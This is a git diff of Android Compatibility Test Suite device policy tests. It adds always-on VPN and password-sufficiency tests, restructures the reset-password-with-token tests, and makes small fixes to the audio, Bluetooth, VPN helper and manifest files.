diff --git a/hostsidetests/devicepolicy/app/DeviceAndProfileOwner/src/com/android/cts/deviceandprofileowner/AlwaysOnVpnUnsupportedTest.java b/hostsidetests/devicepolicy/app/DeviceAndProfileOwner/src/com/android/cts/deviceandprofileowner/AlwaysOnVpnUnsupportedTest.java
new file mode 100644
index 0000000..016090e
--- /dev/null
+++ b/hostsidetests/devicepolicy/app/DeviceAndProfileOwner/src/com/android/cts/deviceandprofileowner/AlwaysOnVpnUnsupportedTest.java
@@ -0,0 +1,65 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.cts.deviceandprofileowner;
+
+import static com.android.cts.deviceandprofileowner.vpn.VpnTestHelper.VPN_PACKAGE;
+
+import com.android.compatibility.common.util.CddTest;
+
+/**
+ * Validates that a device owner or profile owner cannot enable the always-on feature for
+ * unsupported VPN apps.
+ *
+ * A VPN app does not support the always-on feature if it
+ * <ul>
+ * <li>has a target SDK version below {@link android.os.Build.VERSION_CODES#N}, or</li>
+ * <li>explicitly opts out of the feature through
+ * {@link android.net.VpnService#SERVICE_META_DATA_SUPPORTS_ALWAYS_ON}</li>
+ * </ul>
+ */
+@CddTest(requirement="9.8.4/C-3-1")
+public class AlwaysOnVpnUnsupportedTest extends BaseDeviceAdminTest {
+
+ public void testAssertNoAlwaysOnVpn() throws Exception {
+ assertNull("Always-on VPN already exists",
+ mDevicePolicyManager.getAlwaysOnVpnPackage(ADMIN_RECEIVER_COMPONENT));
+ }
+
+ public void testClearAlwaysOnVpn() throws Exception {
+ mDevicePolicyManager.setAlwaysOnVpnPackage(ADMIN_RECEIVER_COMPONENT, null, false);
+ assertNull("Failed to clear always-on package",
+ mDevicePolicyManager.getAlwaysOnVpnPackage(ADMIN_RECEIVER_COMPONENT));
+ }
+
+ public void testSetSupportedVpnAlwaysOn() throws Exception {
+ testAssertNoAlwaysOnVpn();
+ mDevicePolicyManager.setAlwaysOnVpnPackage(ADMIN_RECEIVER_COMPONENT, VPN_PACKAGE, true);
+ assertEquals("Failed to set always-on package",
+ VPN_PACKAGE, mDevicePolicyManager.getAlwaysOnVpnPackage(ADMIN_RECEIVER_COMPONENT));
+ }
+
+ public void testSetUnsupportedVpnAlwaysOn() throws Exception {
+ testAssertNoAlwaysOnVpn();
+ try {
+ mDevicePolicyManager.setAlwaysOnVpnPackage(ADMIN_RECEIVER_COMPONENT, VPN_PACKAGE, true);
+ fail("setAlwaysOnVpnPackage should not accept an unsupported vpn package");
+ } catch (UnsupportedOperationException e) {
+ // success
+ }
+ assertNull(mDevicePolicyManager.getAlwaysOnVpnPackage(ADMIN_RECEIVER_COMPONENT));
+ }
+}
diff --git a/hostsidetests/devicepolicy/app/DeviceAndProfileOwner/src/com/android/cts/deviceandprofileowner/AssistScreenCaptureDisabledTest.java b/hostsidetests/devicepolicy/app/DeviceAndProfileOwner/src/com/android/cts/deviceandprofileowner/AssistScreenCaptureDisabledTest.java
index db54ac3..d076920 100644
--- a/hostsidetests/devicepolicy/app/DeviceAndProfileOwner/src/com/android/cts/deviceandprofileowner/AssistScreenCaptureDisabledTest.java
+++ b/hostsidetests/devicepolicy/app/DeviceAndProfileOwner/src/com/android/cts/deviceandprofileowner/AssistScreenCaptureDisabledTest.java
@@ -87,7 +87,11 @@
Intent showSessionIntent = new Intent(ACTION_SHOW_SESSION);
showSessionIntent.setPackage(ASSIST_PACKAGE);
mContext.sendBroadcast(showSessionIntent);
- Intent screenShotIntent = receiver.awaitForBroadcast();
+ Intent screenShotIntent = null;
+ for (int i = 0; i < MAX_ATTEMPTS_COUNT && (screenShotIntent == null); ++ i) {
+ Log.d(TAG, "has not received intent yet: wait for intent, attempt " + i);
+ screenShotIntent = receiver.awaitForBroadcast();
+ }
Assert.assertNotNull(screenShotIntent);
Assert.assertTrue(screenShotIntent.hasExtra(KEY_HAS_SCREENSHOT));
assertEquals(possible, screenShotIntent.getBooleanExtra(KEY_HAS_SCREENSHOT, false));
diff --git a/hostsidetests/devicepolicy/app/DeviceAndProfileOwner/src/com/android/cts/deviceandprofileowner/AudioRestrictionTest.java b/hostsidetests/devicepolicy/app/DeviceAndProfileOwner/src/com/android/cts/deviceandprofileowner/AudioRestrictionTest.java
index 300904c..d44b782 100644
--- a/hostsidetests/devicepolicy/app/DeviceAndProfileOwner/src/com/android/cts/deviceandprofileowner/AudioRestrictionTest.java
+++ b/hostsidetests/devicepolicy/app/DeviceAndProfileOwner/src/com/android/cts/deviceandprofileowner/AudioRestrictionTest.java
@@ -18,8 +18,9 @@
import android.content.Context;
import android.content.pm.PackageManager;
-import android.content.res.Configuration;
import android.media.AudioManager;
+import android.media.MediaPlayer;
+import android.provider.Settings;
import android.os.SystemClock;
import android.os.UserManager;
@@ -82,12 +83,17 @@
if (!mPackageManager.hasSystemFeature(PackageManager.FEATURE_AUDIO_OUTPUT)) {
return;
}
- // VR Headsets do not support the STREAM_RING, therefore we use STREAM_MUSIC.
- int streamType = isVrHeadset(mContext) ? AudioManager.STREAM_MUSIC : AudioManager.STREAM_RING;
+
+ MediaPlayer mediaPlayer = new MediaPlayer();
+ mediaPlayer.setDataSource(mContext, Settings.System.DEFAULT_RINGTONE_URI);
+ mediaPlayer.setAudioStreamType(AudioManager.STREAM_MUSIC);
+ mediaPlayer.prepare();
+ mediaPlayer.setLooping(true);
+ mediaPlayer.start();
try {
- // Set volume of ringtone to be 1.
- mAudioManager.setStreamVolume(streamType, 1, /* flag= */ 0);
+ // Set volume of music to be 1.
+ mAudioManager.setStreamVolume(AudioManager.STREAM_MUSIC, 1, /* flag= */ 0);
// Disallow adjusting volume.
mDevicePolicyManager.addUserRestriction(ADMIN_RECEIVER_COMPONENT,
@@ -96,7 +102,7 @@
// Verify that volume can't be changed.
mAudioManager.adjustVolume(AudioManager.ADJUST_RAISE, /* flag= */ 0);
- assertEquals(1, mAudioManager.getStreamVolume(streamType));
+ assertEquals(1, mAudioManager.getStreamVolume(AudioManager.STREAM_MUSIC));
// Allowing adjusting volume.
mDevicePolicyManager.clearUserRestriction(ADMIN_RECEIVER_COMPONENT,
@@ -108,7 +114,7 @@
waitUntil(2, new Callable<Integer>() {
@Override
public Integer call() throws Exception {
- return mAudioManager.getStreamVolume(streamType);
+ return mAudioManager.getStreamVolume(AudioManager.STREAM_MUSIC);
}
});
} finally {
@@ -117,6 +123,10 @@
UserManager.DISALLOW_ADJUST_VOLUME);
waitUntil(false, mCheckIfMasterVolumeMuted);
}
+
+ mediaPlayer.stop();
+ mediaPlayer.release();
+ mediaPlayer = null;
}
public void testDisallowUnmuteMicrophone() throws Exception {
@@ -166,9 +176,4 @@
Thread.sleep(200);
}
}
-
- private boolean isVrHeadset(Context context) {
- return (context.getResources().getConfiguration().uiMode
- & Configuration.UI_MODE_TYPE_MASK) == Configuration.UI_MODE_TYPE_VR_HEADSET;
- }
}
diff --git a/hostsidetests/devicepolicy/app/DeviceAndProfileOwner/src/com/android/cts/deviceandprofileowner/AutofillRestrictionsTest.java b/hostsidetests/devicepolicy/app/DeviceAndProfileOwner/src/com/android/cts/deviceandprofileowner/AutofillRestrictionsTest.java
index 8babe14..5728cf6 100644
--- a/hostsidetests/devicepolicy/app/DeviceAndProfileOwner/src/com/android/cts/deviceandprofileowner/AutofillRestrictionsTest.java
+++ b/hostsidetests/devicepolicy/app/DeviceAndProfileOwner/src/com/android/cts/deviceandprofileowner/AutofillRestrictionsTest.java
@@ -17,6 +17,7 @@
package com.android.cts.deviceandprofileowner;
import static android.provider.Settings.Secure.AUTOFILL_SERVICE;
+import static android.provider.Settings.Secure.USER_SETUP_COMPLETE;
import android.content.Intent;
import static android.os.UserManager.DISALLOW_AUTOFILL;
@@ -28,9 +29,6 @@
private static final String AUTOFILL_PACKAGE_NAME = "com.android.cts.devicepolicy.autofillapp";
private static final String AUTOFILL_ACTIVITY_NAME = AUTOFILL_PACKAGE_NAME + ".SimpleActivity";
- // TODO: should static import Settings.Secure instead, but that's not a @TestApi
- private static String USER_SETUP_COMPLETE = "user_setup_complete";
-
// Currently, autofill_service is a cloned service, so it's only set in the default user.
// That might change, so we're using a guard to decide how to set it
private final boolean USES_CLONED_SETTINGS = true;
diff --git a/hostsidetests/devicepolicy/app/DeviceAndProfileOwner/src/com/android/cts/deviceandprofileowner/BaseDeviceAdminTest.java b/hostsidetests/devicepolicy/app/DeviceAndProfileOwner/src/com/android/cts/deviceandprofileowner/BaseDeviceAdminTest.java
index 77214cb..1c4230b 100644
--- a/hostsidetests/devicepolicy/app/DeviceAndProfileOwner/src/com/android/cts/deviceandprofileowner/BaseDeviceAdminTest.java
+++ b/hostsidetests/devicepolicy/app/DeviceAndProfileOwner/src/com/android/cts/deviceandprofileowner/BaseDeviceAdminTest.java
@@ -85,4 +85,19 @@
throw new RuntimeException("Command '" + command + "' failed: ", e);
}
}
+
+ protected void assertPasswordSufficiency(boolean expectPasswordSufficient) {
+ int retries = 15;
+ // isActivePasswordSufficient() gets the result asynchronously so let's retry a few times
+ while (retries >= 0
+ && mDevicePolicyManager.isActivePasswordSufficient() != expectPasswordSufficient) {
+ retries--;
+ try {
+ Thread.sleep(200);
+ } catch (InterruptedException e) {
+ break;
+ }
+ }
+ assertEquals(expectPasswordSufficient, mDevicePolicyManager.isActivePasswordSufficient());
+ }
}
diff --git a/hostsidetests/devicepolicy/app/DeviceAndProfileOwner/src/com/android/cts/deviceandprofileowner/PasswordSufficientInitiallyTest.java b/hostsidetests/devicepolicy/app/DeviceAndProfileOwner/src/com/android/cts/deviceandprofileowner/PasswordSufficientInitiallyTest.java
new file mode 100644
index 0000000..fa4a6a7
--- /dev/null
+++ b/hostsidetests/devicepolicy/app/DeviceAndProfileOwner/src/com/android/cts/deviceandprofileowner/PasswordSufficientInitiallyTest.java
@@ -0,0 +1,25 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.cts.deviceandprofileowner;
+
+
+public class PasswordSufficientInitiallyTest extends BaseDeviceAdminTest {
+
+ public void testPasswordSufficientInitially() {
+ assertPasswordSufficiency(true);
+ }
+}
diff --git a/hostsidetests/devicepolicy/app/DeviceAndProfileOwner/src/com/android/cts/deviceandprofileowner/ResetPasswordWithTokenTest.java b/hostsidetests/devicepolicy/app/DeviceAndProfileOwner/src/com/android/cts/deviceandprofileowner/ResetPasswordWithTokenTest.java
index 9e4744c..93ea709 100644
--- a/hostsidetests/devicepolicy/app/DeviceAndProfileOwner/src/com/android/cts/deviceandprofileowner/ResetPasswordWithTokenTest.java
+++ b/hostsidetests/devicepolicy/app/DeviceAndProfileOwner/src/com/android/cts/deviceandprofileowner/ResetPasswordWithTokenTest.java
@@ -15,63 +15,154 @@
*/
package com.android.cts.deviceandprofileowner;
+import android.app.KeyguardManager;
+import android.app.admin.DevicePolicyManager;
+import android.support.test.InstrumentationRegistry;
public class ResetPasswordWithTokenTest extends BaseDeviceAdminTest {
- private static final String PASSWORD = "1234";
+ private static final String SHORT_PASSWORD = "1234";
+ private static final String COMPLEX_PASSWORD = "abc123.";
private static final byte[] TOKEN0 = "abcdefghijklmnopqrstuvwxyz0123456789".getBytes();
private static final byte[] TOKEN1 = "abcdefghijklmnopqrstuvwxyz012345678*".getBytes();
- public void testResetPasswordWithToken() {
- testResetPasswordWithToken(false);
+ private static final String ARG_ALLOW_FAILURE = "allowFailure";
+
+ private boolean mShouldRun;
+
+ @Override
+ protected void setUp() throws Exception {
+ super.setUp();
+ Boolean allowFailure = Boolean.parseBoolean(InstrumentationRegistry.getArguments()
+ .getString(ARG_ALLOW_FAILURE));
+ mShouldRun = setUpResetPasswordToken(allowFailure);
}
- public void testResetPasswordWithTokenMayFail() {
- // If this test is executed on a device with password token disabled, allow the test to
- // pass.
- testResetPasswordWithToken(true);
- }
-
- private void testResetPasswordWithToken(boolean acceptFailure) {
- try {
- // set up a token
- assertFalse(mDevicePolicyManager.isResetPasswordTokenActive(ADMIN_RECEIVER_COMPONENT));
-
- try {
- // On devices with password token disabled, calling this method will throw
- // a security exception. If that's anticipated, then return early without failing.
- assertTrue(mDevicePolicyManager.setResetPasswordToken(ADMIN_RECEIVER_COMPONENT,
- TOKEN0));
- } catch (SecurityException e) {
- if (acceptFailure &&
- e.getMessage().equals("Escrow token is disabled on the current user")) {
- return;
- } else {
- throw e;
- }
- }
- assertTrue(mDevicePolicyManager.isResetPasswordTokenActive(ADMIN_RECEIVER_COMPONENT));
-
- // resetting password with wrong token should fail
- assertFalse(mDevicePolicyManager.resetPasswordWithToken(ADMIN_RECEIVER_COMPONENT, PASSWORD,
- TOKEN1, 0));
- // try changing password with token
- assertTrue(mDevicePolicyManager.resetPasswordWithToken(ADMIN_RECEIVER_COMPONENT, PASSWORD,
- TOKEN0, 0));
- // clear password with token
- assertTrue(mDevicePolicyManager.resetPasswordWithToken(ADMIN_RECEIVER_COMPONENT, null,
- TOKEN0, 0));
-
- // remove token and check it succeeds
- assertTrue(mDevicePolicyManager.clearResetPasswordToken(ADMIN_RECEIVER_COMPONENT));
- assertFalse(mDevicePolicyManager.isResetPasswordTokenActive(ADMIN_RECEIVER_COMPONENT));
- assertFalse(mDevicePolicyManager.resetPasswordWithToken(ADMIN_RECEIVER_COMPONENT, PASSWORD,
- TOKEN0, 0));
- } finally {
- mDevicePolicyManager.clearResetPasswordToken(ADMIN_RECEIVER_COMPONENT);
+ @Override
+ protected void tearDown() throws Exception {
+ if (mShouldRun) {
+ cleanUpResetPasswordToken();
}
+ super.tearDown();
}
- //TODO: add test to reboot device and reset password while user is still locked.
+ public void testBadTokenShouldFail() {
+ if (!mShouldRun) {
+ return;
+ }
+ // resetting password with wrong token should fail
+ assertFalse(mDevicePolicyManager.resetPasswordWithToken(ADMIN_RECEIVER_COMPONENT,
+ SHORT_PASSWORD, TOKEN1, 0));
+ }
+
+ public void testChangePasswordWithToken() {
+ if (!mShouldRun) {
+ return;
+ }
+ // try changing password with token
+ assertTrue(mDevicePolicyManager.resetPasswordWithToken(ADMIN_RECEIVER_COMPONENT,
+ SHORT_PASSWORD, TOKEN0, 0));
+
+ // Set a strong password constraint and expect the sufficiency check to fail
+ mDevicePolicyManager.setPasswordQuality(ADMIN_RECEIVER_COMPONENT,
+ DevicePolicyManager.PASSWORD_QUALITY_NUMERIC);
+ mDevicePolicyManager.setPasswordMinimumLength(ADMIN_RECEIVER_COMPONENT, 6);
+ assertPasswordSufficiency(false);
+
+ // try changing to a stronger password and verify it satisfies requested constraint
+ assertTrue(mDevicePolicyManager.resetPasswordWithToken(ADMIN_RECEIVER_COMPONENT,
+ COMPLEX_PASSWORD, TOKEN0, 0));
+ assertPasswordSufficiency(true);
+ }
+
+ public void testResetPasswordFailIfQualityNotMet() {
+ if (!mShouldRun) {
+ return;
+ }
+ mDevicePolicyManager.setPasswordQuality(ADMIN_RECEIVER_COMPONENT,
+ DevicePolicyManager.PASSWORD_QUALITY_NUMERIC);
+ mDevicePolicyManager.setPasswordMinimumLength(ADMIN_RECEIVER_COMPONENT, 6);
+
+ assertFalse(mDevicePolicyManager.resetPasswordWithToken(ADMIN_RECEIVER_COMPONENT,
+ SHORT_PASSWORD, TOKEN0, 0));
+
+ assertTrue(mDevicePolicyManager.resetPasswordWithToken(ADMIN_RECEIVER_COMPONENT,
+ COMPLEX_PASSWORD, TOKEN0, 0));
+ }
+
+ public void testPasswordMetricAfterResetPassword() {
+ if (!mShouldRun) {
+ return;
+ }
+ mDevicePolicyManager.setPasswordQuality(ADMIN_RECEIVER_COMPONENT,
+ DevicePolicyManager.PASSWORD_QUALITY_COMPLEX);
+ mDevicePolicyManager.setPasswordMinimumNumeric(ADMIN_RECEIVER_COMPONENT, 1);
+ mDevicePolicyManager.setPasswordMinimumLetters(ADMIN_RECEIVER_COMPONENT, 1);
+ mDevicePolicyManager.setPasswordMinimumSymbols(ADMIN_RECEIVER_COMPONENT, 0);
+ assertTrue(mDevicePolicyManager.resetPasswordWithToken(ADMIN_RECEIVER_COMPONENT,
+ COMPLEX_PASSWORD, TOKEN0, 0));
+
+ // Change required complexity and verify new password satisfies it
+ // First set a slightly stronger requirement and expect password sufficiency is false
+ mDevicePolicyManager.setPasswordMinimumNumeric(ADMIN_RECEIVER_COMPONENT, 3);
+ mDevicePolicyManager.setPasswordMinimumLetters(ADMIN_RECEIVER_COMPONENT, 3);
+ mDevicePolicyManager.setPasswordMinimumSymbols(ADMIN_RECEIVER_COMPONENT, 2);
+ assertPasswordSufficiency(false);
+ // Then sets the appropriate quality and verify it should pass
+ mDevicePolicyManager.setPasswordMinimumSymbols(ADMIN_RECEIVER_COMPONENT, 1);
+ assertPasswordSufficiency(true);
+ }
+
+ public void testClearPasswordWithToken() {
+ if (!mShouldRun) {
+ return;
+ }
+ KeyguardManager km = mContext.getSystemService(KeyguardManager.class);
+ // First set a password
+ assertTrue(mDevicePolicyManager.resetPasswordWithToken(ADMIN_RECEIVER_COMPONENT,
+ SHORT_PASSWORD, TOKEN0, 0));
+ assertTrue(km.isDeviceSecure());
+
+ // clear password with token
+ assertTrue(mDevicePolicyManager.resetPasswordWithToken(ADMIN_RECEIVER_COMPONENT, null,
+ TOKEN0, 0));
+ assertFalse(km.isDeviceSecure());
+ }
+
+ private boolean setUpResetPasswordToken(boolean acceptFailure) {
+ // set up a token
+ assertFalse(mDevicePolicyManager.isResetPasswordTokenActive(ADMIN_RECEIVER_COMPONENT));
+
+ try {
+ // On devices with password token disabled, calling this method will throw
+ // a security exception. If that's anticipated, then return early without failing.
+ assertTrue(mDevicePolicyManager.setResetPasswordToken(ADMIN_RECEIVER_COMPONENT,
+ TOKEN0));
+ } catch (SecurityException e) {
+ if (acceptFailure &&
+ e.getMessage().equals("Escrow token is disabled on the current user")) {
+ return false;
+ } else {
+ throw e;
+ }
+ }
+ assertTrue(mDevicePolicyManager.isResetPasswordTokenActive(ADMIN_RECEIVER_COMPONENT));
+ return true;
+ }
+
+ private void cleanUpResetPasswordToken() {
+ // First remove device lock
+ mDevicePolicyManager.setPasswordQuality(ADMIN_RECEIVER_COMPONENT,
+ DevicePolicyManager.PASSWORD_QUALITY_UNSPECIFIED);
+ mDevicePolicyManager.setPasswordMinimumLength(ADMIN_RECEIVER_COMPONENT, 0);
+ assertTrue(mDevicePolicyManager.resetPasswordWithToken(ADMIN_RECEIVER_COMPONENT, null,
+ TOKEN0, 0));
+
+ // Then remove token and check it succeeds
+ assertTrue(mDevicePolicyManager.clearResetPasswordToken(ADMIN_RECEIVER_COMPONENT));
+ assertFalse(mDevicePolicyManager.isResetPasswordTokenActive(ADMIN_RECEIVER_COMPONENT));
+ assertFalse(mDevicePolicyManager.resetPasswordWithToken(ADMIN_RECEIVER_COMPONENT,
+ SHORT_PASSWORD, TOKEN0, 0));
+ }
}
\ No newline at end of file
diff --git a/hostsidetests/devicepolicy/app/DeviceAndProfileOwner/src/com/android/cts/deviceandprofileowner/TrustAgentInfoTest.java b/hostsidetests/devicepolicy/app/DeviceAndProfileOwner/src/com/android/cts/deviceandprofileowner/TrustAgentInfoTest.java
index 241a830..1c6804f 100644
--- a/hostsidetests/devicepolicy/app/DeviceAndProfileOwner/src/com/android/cts/deviceandprofileowner/TrustAgentInfoTest.java
+++ b/hostsidetests/devicepolicy/app/DeviceAndProfileOwner/src/com/android/cts/deviceandprofileowner/TrustAgentInfoTest.java
@@ -20,6 +20,8 @@
import android.content.ComponentName;
import android.os.PersistableBundle;
+import com.android.compatibility.common.util.CddTest;
+
import java.util.List;
@@ -47,6 +49,7 @@
super.tearDown();
}
+ @CddTest(requirement="9.11.1/C-1-2")
public void testSetAndGetTrustAgentConfiguration() {
// Set the config
mDevicePolicyManager.setTrustAgentConfiguration(ADMIN_RECEIVER_COMPONENT,
diff --git a/hostsidetests/devicepolicy/app/DeviceAndProfileOwner/src/com/android/cts/deviceandprofileowner/vpn/VpnTestHelper.java b/hostsidetests/devicepolicy/app/DeviceAndProfileOwner/src/com/android/cts/deviceandprofileowner/vpn/VpnTestHelper.java
index 91b710e..6aeff7b 100644
--- a/hostsidetests/devicepolicy/app/DeviceAndProfileOwner/src/com/android/cts/deviceandprofileowner/vpn/VpnTestHelper.java
+++ b/hostsidetests/devicepolicy/app/DeviceAndProfileOwner/src/com/android/cts/deviceandprofileowner/vpn/VpnTestHelper.java
@@ -16,6 +16,16 @@
package com.android.cts.deviceandprofileowner.vpn;
+import static android.system.OsConstants.AF_INET;
+import static android.system.OsConstants.IPPROTO_ICMP;
+import static android.system.OsConstants.POLLIN;
+import static android.system.OsConstants.SOCK_DGRAM;
+
+import static junit.framework.Assert.assertEquals;
+import static junit.framework.Assert.assertNotNull;
+import static junit.framework.Assert.assertTrue;
+import static junit.framework.Assert.fail;
+
import android.annotation.TargetApi;
import android.app.admin.DevicePolicyManager;
import android.content.ComponentName;
@@ -43,14 +53,6 @@
import java.util.concurrent.CountDownLatch;
import java.util.concurrent.TimeUnit;
-import static android.system.OsConstants.AF_INET;
-import static android.system.OsConstants.IPPROTO_ICMP;
-import static android.system.OsConstants.POLLIN;
-import static android.system.OsConstants.SOCK_DGRAM;
-import static junit.framework.Assert.assertEquals;
-import static junit.framework.Assert.assertTrue;
-import static junit.framework.Assert.fail;
-
/**
* Helper class to test vpn status
*/
@@ -70,47 +72,62 @@
private static final int NETWORK_TIMEOUT_MS = 5000;
private static final ComponentName ADMIN_RECEIVER_COMPONENT =
BaseDeviceAdminTest.ADMIN_RECEIVER_COMPONENT;
+ private static final NetworkRequest VPN_NETWORK_REQUEST = new NetworkRequest.Builder()
+ .addTransportType(NetworkCapabilities.TRANSPORT_VPN)
+ .removeCapability(NetworkCapabilities.NET_CAPABILITY_NOT_VPN)
+ .removeCapability(NetworkCapabilities.NET_CAPABILITY_INTERNET)
+ .build();
- public static void setAndWaitForVpn(Context context, String packageName, boolean usable) {
- ConnectivityManager connectivityManager =
- context.getSystemService(ConnectivityManager.class);
+ /**
+ * Wait for a VPN app to establish VPN.
+ *
+ * @param context Caller's context.
+ * @param packageName {@code null} if waiting for the existing VPN to connect. Otherwise we set
+ * this package as the new always-on VPN app and wait for it to connect.
+ * @param usable Whether the resulting VPN tunnel is expected to be usable.
+ */
+ public static void waitForVpn(Context context, String packageName, boolean usable) {
DevicePolicyManager dpm = context.getSystemService(DevicePolicyManager.class);
+ if (packageName == null) {
+ assertNotNull(dpm.getAlwaysOnVpnPackage(ADMIN_RECEIVER_COMPONENT));
+ }
+
+ ConnectivityManager cm = context.getSystemService(ConnectivityManager.class);
final CountDownLatch vpnLatch = new CountDownLatch(1);
- final NetworkRequest request = new NetworkRequest.Builder()
- .addTransportType(NetworkCapabilities.TRANSPORT_VPN)
- .removeCapability(NetworkCapabilities.NET_CAPABILITY_NOT_VPN)
- .removeCapability(NetworkCapabilities.NET_CAPABILITY_INTERNET)
- .build();
- final ConnectivityManager.NetworkCallback callback
- = new ConnectivityManager.NetworkCallback() {
- @Override
- public void onAvailable(Network net) {
- vpnLatch.countDown();
- }
- };
- connectivityManager.registerNetworkCallback(request, callback);
+ final ConnectivityManager.NetworkCallback callback =
+ new ConnectivityManager.NetworkCallback() {
+ @Override
+ public void onAvailable(Network net) {
+ vpnLatch.countDown();
+ }
+ };
+ cm.registerNetworkCallback(VPN_NETWORK_REQUEST, callback);
+
try {
- dpm.setAlwaysOnVpnPackage(ADMIN_RECEIVER_COMPONENT, packageName, true);
- assertEquals(packageName, dpm.getAlwaysOnVpnPackage(ADMIN_RECEIVER_COMPONENT));
+ if (packageName != null) {
+ dpm.setAlwaysOnVpnPackage(ADMIN_RECEIVER_COMPONENT, packageName, true);
+ assertEquals(packageName, dpm.getAlwaysOnVpnPackage(ADMIN_RECEIVER_COMPONENT));
+ }
if (!vpnLatch.await(NETWORK_TIMEOUT_MS, TimeUnit.MILLISECONDS)) {
- fail("Took too long waiting to establish a VPN-backed connection");
+ if (!isNetworkVpn(context)) {
+ fail("Took too long waiting to establish a VPN-backed connection");
+ }
}
Thread.sleep(NETWORK_SETTLE_GRACE_MS);
} catch (InterruptedException | PackageManager.NameNotFoundException e) {
- fail("Failed to send ping: " + e);
+ fail("Failed while waiting for VPN: " + e);
} finally {
- connectivityManager.unregisterNetworkCallback(callback);
+ cm.unregisterNetworkCallback(callback);
}
// Do we have a network?
- NetworkInfo vpnInfo = connectivityManager.getNetworkInfo(ConnectivityManager.TYPE_VPN);
- assertTrue(vpnInfo != null);
+ NetworkInfo vpnInfo = cm.getNetworkInfo(ConnectivityManager.TYPE_VPN);
+ assertNotNull(vpnInfo);
// Is it usable?
assertEquals(usable, vpnInfo.isConnected());
}
-
public static boolean isNetworkVpn(Context context) {
ConnectivityManager connectivityManager =
(ConnectivityManager) context.getSystemService(Context.CONNECTIVITY_SERVICE);
diff --git a/hostsidetests/devicepolicy/app/DeviceOwner/Android.mk b/hostsidetests/devicepolicy/app/DeviceOwner/Android.mk
index 4e9abd7..4cc041a 100644
--- a/hostsidetests/devicepolicy/app/DeviceOwner/Android.mk
+++ b/hostsidetests/devicepolicy/app/DeviceOwner/Android.mk
@@ -30,11 +30,12 @@
ctstestrunner \
compatibility-device-util \
android-support-v4 \
- android-support-test
+ android-support-test \
+ legacy-android-test
LOCAL_SDK_VERSION := test_current
# tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
include $(BUILD_CTS_PACKAGE)
diff --git a/hostsidetests/devicepolicy/app/DeviceOwner/AndroidManifest.xml b/hostsidetests/devicepolicy/app/DeviceOwner/AndroidManifest.xml
index 01967dc..9a09007 100644
--- a/hostsidetests/devicepolicy/app/DeviceOwner/AndroidManifest.xml
+++ b/hostsidetests/devicepolicy/app/DeviceOwner/AndroidManifest.xml
@@ -61,7 +61,14 @@
android:name="com.android.cts.deviceowner.LockTaskUtilityActivity" />
<activity
android:name="com.android.cts.deviceowner.LockTaskUtilityActivityIfWhitelisted"
- android:lockTaskMode="if_whitelisted" />
+ android:launchMode="singleInstance"
+ android:lockTaskMode="if_whitelisted">
+ <intent-filter>
+ <action android:name="android.intent.action.MAIN"/>
+ <category android:name="android.intent.category.HOME"/>
+ <category android:name="android.intent.category.DEFAULT"/>
+ </intent-filter>
+ </activity>
<!-- we need to give a different taskAffinity so that when we use
FLAG_ACTIVITY_NEW_TASK, the system tries to start it in a different task
diff --git a/hostsidetests/devicepolicy/app/DeviceOwner/src/com/android/cts/deviceowner/BluetoothRestrictionTest.java b/hostsidetests/devicepolicy/app/DeviceOwner/src/com/android/cts/deviceowner/BluetoothRestrictionTest.java
index 00b498a..bf08014 100644
--- a/hostsidetests/devicepolicy/app/DeviceOwner/src/com/android/cts/deviceowner/BluetoothRestrictionTest.java
+++ b/hostsidetests/devicepolicy/app/DeviceOwner/src/com/android/cts/deviceowner/BluetoothRestrictionTest.java
@@ -143,6 +143,10 @@
* Behavior of getState() and isEnabled() are validated along the way.
*/
private void disable() {
+ // Can't disable a bluetooth adapter that does not exist.
+ if (mBluetoothAdapter == null)
+ return;
+
sleep(CHECK_WAIT_TIME_MS);
if (mBluetoothAdapter.getState() == BluetoothAdapter.STATE_OFF) {
assertFalse(mBluetoothAdapter.isEnabled());
@@ -200,6 +204,10 @@
* Behavior of getState() and isEnabled() are validated along the way.
*/
private void enable() {
+ // Can't enable a bluetooth adapter that does not exist.
+ if (mBluetoothAdapter == null)
+ return;
+
sleep(CHECK_WAIT_TIME_MS);
if (mBluetoothAdapter.getState() == BluetoothAdapter.STATE_ON) {
assertTrue(mBluetoothAdapter.isEnabled());
diff --git a/hostsidetests/devicepolicy/app/DeviceOwner/src/com/android/cts/deviceowner/DeviceOwnerProvisioningTest.java b/hostsidetests/devicepolicy/app/DeviceOwner/src/com/android/cts/deviceowner/DeviceOwnerProvisioningTest.java
index 22401b3..49057a0 100644
--- a/hostsidetests/devicepolicy/app/DeviceOwner/src/com/android/cts/deviceowner/DeviceOwnerProvisioningTest.java
+++ b/hostsidetests/devicepolicy/app/DeviceOwner/src/com/android/cts/deviceowner/DeviceOwnerProvisioningTest.java
@@ -26,6 +26,7 @@
import android.content.pm.PackageManager;
import android.util.Log;
+import com.android.compatibility.common.util.CddTest;
import com.android.compatibility.common.util.devicepolicy.provisioning.SilentProvisioningTestManager;
import java.util.ArrayList;
import java.util.List;
@@ -53,6 +54,7 @@
super.tearDown();
}
+ @CddTest(requirement="3.9.1.1/C-1-4")
public void testProvisionDeviceOwner() throws Exception {
deviceOwnerProvision(getBaseProvisioningIntent());
}
diff --git a/hostsidetests/devicepolicy/app/DeviceOwner/src/com/android/cts/deviceowner/LockTaskHostDrivenTest.java b/hostsidetests/devicepolicy/app/DeviceOwner/src/com/android/cts/deviceowner/LockTaskHostDrivenTest.java
new file mode 100644
index 0000000..780a90c
--- /dev/null
